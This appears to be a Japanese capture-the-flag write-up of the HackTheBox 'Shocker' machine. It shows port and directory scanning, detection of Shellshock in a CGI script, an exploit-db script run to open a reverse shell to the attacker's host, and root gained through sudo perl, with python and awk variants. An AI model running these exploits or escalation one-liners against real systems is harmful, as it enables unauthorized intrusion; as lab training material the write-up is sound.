偵察/スキャン
nmapの結果よりTCP80,2222が開いていることがわかります。
┌──(kali㉿kali)-[~] └─$ nmap -T4 -p- -sC -sV 10.10.10.56 Starting Nmap 7.92 ( https://nmap.org ) Warning: 10.10.10.56 giving up on port because retransmission cap hit (6). Nmap scan report for 10.10.10.56 Host is up (0.27s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 29065/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
ブラウザでアクセスすると以下のような画面が表示されます。
ページのソースを見ても画像ファイルが表示されるだけのページなので、アクセス取得につながりそうな情報は見つけられませんでした。
また、nmapで検出されたバージョン情報について脆弱性を調査しましたが、アクセス取得に至るような情報は見つけられませんでした。
- 80/tcp open http Apache httpd 2.4.18 *1
- 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
続けて、dirbでWebの調査を行います。
┌──(kali㉿kali)-[~] └─$ dirb http://10.10.10.56 ----------------- DIRB v2.22 By The Dark Raver ----------------- URL_BASE: http://10.10.10.56/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.56/ ---- + http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)
+ http://10.10.10.56/index.html (CODE:200|SIZE:137) + http://10.10.10.56/server-status (CODE:403|SIZE:299) -----------------
アクセスはできませんが3つ検出がありました。
補足:CGIについて
CGI(シージーアイ、Common Gateway Interface)とは、ウェブサーバが独立した外部プロセス(CGIプログラム)でウェブページを生成できるようにする仕組みです。CGIプログラムの記述にはPerlなどのスクリプト言語がよく用いられますが、基本的に標準入出力を備えているプログラミング言語であれば(たとえばC言語やシェルスクリプトでも)CGIプログラムを記述することは可能です。
なので、http://10.10.10.56/cgi-bin/の配下にスクリプト等のファイルがないか調査します。
┌──(kali㉿kali)-[~] └─$ dirb http://10.10.10.56/cgi-bin/ -X .sh,.pl,.txt,.php,.py ----------------- DIRB v2.22 By The Dark Raver ----------------- URL_BASE: http://10.10.10.56/cgi-bin/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt EXTENSIONS_LIST: (.sh,.pl,.txt,.php,.py) | (.sh)(.pl)(.txt)(.php)(.py) [NUM = 5] ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.56/cgi-bin/ ---- + http://10.10.10.56/cgi-bin/user.sh (CODE:200|SIZE:118) ----------------- DOWNLOADED: 23060 - FOUND: 1
user.shが見つかりました。中身を見てみます。
┌──(kali㉿kali)-[~] └─$ curl http://10.10.10.56/cgi-bin/user.sh Content-Type: text/plain Just an uptime test script 20:58:37 up 1:34, 0 users, load average: 0.00, 0.00, 0.00
アクセスしてみると何かが実行されたような結果が得られます。
CGIに関連する脆弱性情報をインターネットで調査してみます。
CGI関連の脆弱性には「Shellshock」があります。
「Shellshock」脆弱性とは何か
Linux などで使用されるオープンソースプログラム「Bourne Again shell(bash)」コマンドシェルに重大な脆弱性が存在することが確認されました。bash は、ほとんどの Linux ディストリビューションで一般的に利用されているシェルです。攻撃者は、「Shellshock」と呼ばれる脆弱性「CVE-2014-7169」のあるシステム上でコマンドを実行することが可能になります。つまり、これらの Linux ディストリビューションが稼働しているサーバで、この脆弱性は遠隔からコードを実行することを可能にします。
Unix系の OS環境で最もよく使われているシェルに重大な不具合が確認されました。この不具合により、攻撃者はネットワーク経由で任意のあらゆるコマンドを実行することが可能になります。最も影響を受けるのは、CGI 環境を使用した Webサーバです。
Shellshockの脆弱性があるか確認してみます。
┌──(kali㉿kali)-[~] └─$ nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56 Nmap scan report for 10.10.10.56 Host is up (0.47s latency). PORT STATE SERVICE 80/tcp open http | http-shellshock: | VULNERABLE: | HTTP Shellshock vulnerability | State: VULNERABLE (Exploitable) | IDs: CVE:CVE-2014-6271 | This web application might be affected by the vulnerability known | as Shellshock. It seems the server is executing commands injected | via malicious HTTP headers. | | Disclosure date: 2014-09-24 | Exploit results: | | | | | Internal Server Error | The server encountered an internal error or | misconfiguration and was unable to complete | your request. | Please contact the server administrator at | webmaster@localhost to inform them of the time this error occurred, | and the actions you performed just before this error. | More information about this error may be available | in the server error log. | | Apache/2.4.18 (Ubuntu) Server at 10.10.10.56 Port 80 | | | References: | http://www.openwall.com/lists/oss-security/2014/09/24/10 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | http://seclists.org/oss-sec/2014/q3/685 |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
Shellshockの脆弱性があることが確認できました。
アクセス取得
shellshockの脆弱性があることがわかったので、そこからアクセスを取得します。
┌──(kali㉿kali)-[~] └─$ searchsploit shellshock 6 ⨯ ------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------- --------------------------------- Advantech Switch - 'Shellshock' Bash Environment Variable Command Injection (Metasploit) | cgi/remote/38849.rb Apache mod_cgi - 'Shellshock' Remote Command Injection | linux/remote/34900.py Bash - 'Shellshock' Environment Variables Command Injection | linux/remote/34766.php Bash CGI - 'Shellshock' Remote Command Injection (Metasploit) | cgi/webapps/34895.rb Cisco UCS Manager 2.1(1b) - Remote Command Injection (Shellshock) | hardware/remote/39568.py dhclient 4.1 - Bash Environment Variable Command Injection (Shellshock) | linux/remote/36933.py GNU Bash - 'Shellshock' Environment Variable Command Injection | linux/remote/34765.txt IPFire - 'Shellshock' Bash Environment Variable Command Injection (Metasploit) | cgi/remote/39918.rb NUUO NVRmini 2 3.0.8 - Remote Command Injection (Shellshock) | cgi/webapps/40213.txt OpenVPN 2.2.29 - 'Shellshock' Remote Command Injection | linux/remote/34879.txt PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection | php/webapps/35146.txt Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection | linux/remote/34896.py RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection | linux/local/40938.py Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 - Command Injection (Shellsho | cgi/webapps/39887.txt TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Command Injectio | hardware/remote/40619.py ------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results ------------------------------------------------------------------------------------------- --------------------------------- Paper Title | Path ------------------------------------------------------------------------------------------- --------------------------------- The ShellShock Attack [Paper] | docs/english/48112-the-shellshoc ------------------------------------------------------------------------------------------- --------------------------------- ┌──(kali㉿kali)-[~] └─$ searchsploit -m 34900 Exploit: Apache mod_cgi - 'Shellshock' Remote Command Injection URL: https://www.exploit-db.com/exploits/34900 Path: /usr/share/exploitdb/exploits/linux/remote/34900.py File Type: Python script, ASCII text executable Copied to: /home/kali/34900.py
上記のスクリプトを実行します。
※ncで待ち受けせずに実行可能です。
┌──(kali㉿kali)-[~] └─$ python2 34900.py payload=reverse rhost=10.10.10.56 lhost=10.10.16.3 lport=4444 pages=/cgi-bin/user.sh 1 ⨯ [!] Started reverse shell handler [-] Trying exploit on : /cgi-bin/user.sh [!] Successfully exploited [!] Incoming connection from 10.10.10.56 10.10.10.56> uname -a Linux Shocker 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 10.10.10.56> sudo -l Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl 10.10.10.56> whoami shelly
特権昇格
上記のsudo -lの実行結果で、Perlがroot権限で実行可能なことがわかります。
sudoでの実行権限にPython、Perl、Ruby、AWKなど、スクリプト言語のバイナリを許可している場合、root権限で任意のコマンドが実行可能です。
以下のコマンドでrootの取得ができました。
10.10.10.56> sudo /usr/bin/perl -e 'exec "/bin/bash";' 10.10.10.56> id uid=0(root) gid=0(root) groups=0(root)
補足:その他言語での実行例
Pythonの例
$ sudo python3 -c 'import os; os.system("/bin/bash")'
AWKの例
$ sudo awk 'BEGIN {system("/bin/bash")}'
参考にさせていただいたサイト
貴重な情報をありがとうございます。
*1:Ubuntu